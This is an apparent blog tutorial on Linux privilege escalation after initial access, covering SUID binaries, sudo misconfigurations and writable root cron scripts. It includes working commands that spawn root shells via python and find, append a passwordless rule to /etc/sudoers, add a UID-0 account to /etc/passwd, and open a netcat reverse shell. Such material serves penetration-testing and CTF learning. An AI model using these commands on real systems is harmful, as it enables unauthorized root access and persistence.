Once you’ve gained access to a Linux system, the next logical step is to perform privilege escalation. That is, to go from a user account with limited privileges to a superuser account with full privileges.

There are many options that can help you achieve this, ranging from simple and easy to perform techniques to trickier ones that are more advanced and not so straightforward to execute. We will explore in this article the three easiest options that you can use.

The techniques listed here are low hanging fruits that you can check first. Only after all these options fail can you attempt more advanced techniques.

Depending on the security configuration of the target host, some of these techniques will probably not work. But sometimes, one mistake from an administrator is all it takes to get you to root.

SUID Binary

A SUID is a special permission that certain executable files may have. When a file has the SUID bit set, users can execute it with the same permissions as its owner.

SUID binaries are identified by the ‘s’ character on the fourth bit of the file permissions. As you can see below, the ‘passwd‘ file is an SUID binary.

You can see how we can exploit this by attempting to spawn a shell through SUID binaries that are owned by root or by a user with higher privileges.

Exploiting SUID Binaries

One example of vulnerable SUID binaries is the ‘python‘ command. If you find the SUID bit set on the binary associated with this command, then you can easily perform privilege escalation by running the following:

$ ./python -c 'import os;os.system("/bin/sh -p")'

Of course, you should first change your current directory to where the python binary is located.

If successful, you will get an elevated privilege shell. You can verify this by executing the ‘whoami’ command.

The python command is provided here only as an example to help you better grasp this technique. So, you should not expect it to be configured as a SUID binary on your target host, and thus, the above command will probably not work.

However, what you can do and should do first is to search for all SUID binaries on the system. To do this, you can run the following find command:

find / -type f -perm -u=s 2>/dev/null

Once you have a list of all the SUID binaries, you can visit GTFOBins to check for those that are vulnerable to privilege escalation. This website will also provide you with the exact command to run for every vulnerable SUID binary.

GTFOBins is a very good resource for Linux Privilege Escalation. You should probably save it in your bookmarks since you will definitely need it in the future whenever you attempt privilege escalation on a Linux system.

SUDO Command

To run a command as root, you would normally type ‘sudo‘ first before the actual command.

However, not every user has the rights to run SUDO. The specific permissions of users with regard to this command are stored in /etc/sudoers. This file lists which commands users can run using SUDO. It also specifies whether or not they need a password to do so.

Exploiting SUDO

You can check your current user’s permissions using the following command:

$ sudo -l
user ALL=(ALL) NOPASSWD:ALL

If the output of this command looks something like the above, then you are very lucky, because that line grants you the rights to run any command using SUDO without having to provide a password.

But let’s be honest here, this would be too easy for it to occur in the real world, except maybe for some easy-for-beginner CTFs.

On the other hand, what you might find more often is something like the following:

(root) NOPASSWD: /usr/bin/find

In this case, you can only run SUDO with the find command, and you still don’t need a password for that.

You might think that find will not be of much help in your privilege-seeking process. Well,… in this case, you would be wrong. Actually, find is more than enough.

If we refer to GTFOBins, we can get the complete command to use in order to spawn a shell using find:

sudo find . -exec /bin/sh \; -quit

I’m providing find here as an example. This is valid for many other commands. You can check GTFOBins to see which ones are vulnerable to this technique and how you can use each one to get a root shell.

Cron Jobs

Cron is a job scheduler that runs on most Linux systems, sort of the equivalent of the task scheduler in Windows. It allows users to schedule certain programs and scripts to run periodically without having to execute them manually.

Cron is very useful in automating tasks such as running malware scans, checking for updates, or creating regular backups.

However, from an attacker’s perspective, Cron can be a potential vector for privilege escalation if not properly configured. Let’s see how we can do that.

Cron can be customized using certain files called ‘crontabs’. These are the files that tell Cron what jobs to execute and when.

Each job is defined in a single line with the first set of columns specifying the time it should run and the last column specifying the command or the path of the program to execute.

One special Crontab, located at /etc/crontab, is used to schedule system-wide jobs. All the jobs that are scheduled in this file are executed by Cron with root privileges.

Exploiting Cron Jobs

If we view the content of /etc/crontab using cat, and we find a script that is writable by our current user, then we can modify it to do all kinds of stuff to escalate our privileges.

For instance, let’s say you have a crontab file that contains the following line:

*/5 * * * * root /writable/script.sh

According to this line, script.sh runs every 5 minutes. Any command that you add in this file will be executed as root. There are many ways we can proceed from here:

• You can either add a line to the sudoers file that grants your current user the rights to run SUDO with no password.

echo "user ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers

• Or you can generate a reverse shell by connecting back to a listener on your attacking machine.

nc   -e /bin/sh

• You can even add a new root user in /etc/passwd by providing a UID value of 0 (UID is the third field, and is associated with root).

echo "newRoot::0:0:newRoot:/home/newRoot:/bin/sh" >> /etc/passwd

Conclusion

Linux Privilege escalation is not an easy task. Applying these techniques will not always be as straightforward as presented here. And sometimes, none of them will work. But that’s a good thing, as this will push you to explore new techniques that will prove to be useful when others will not.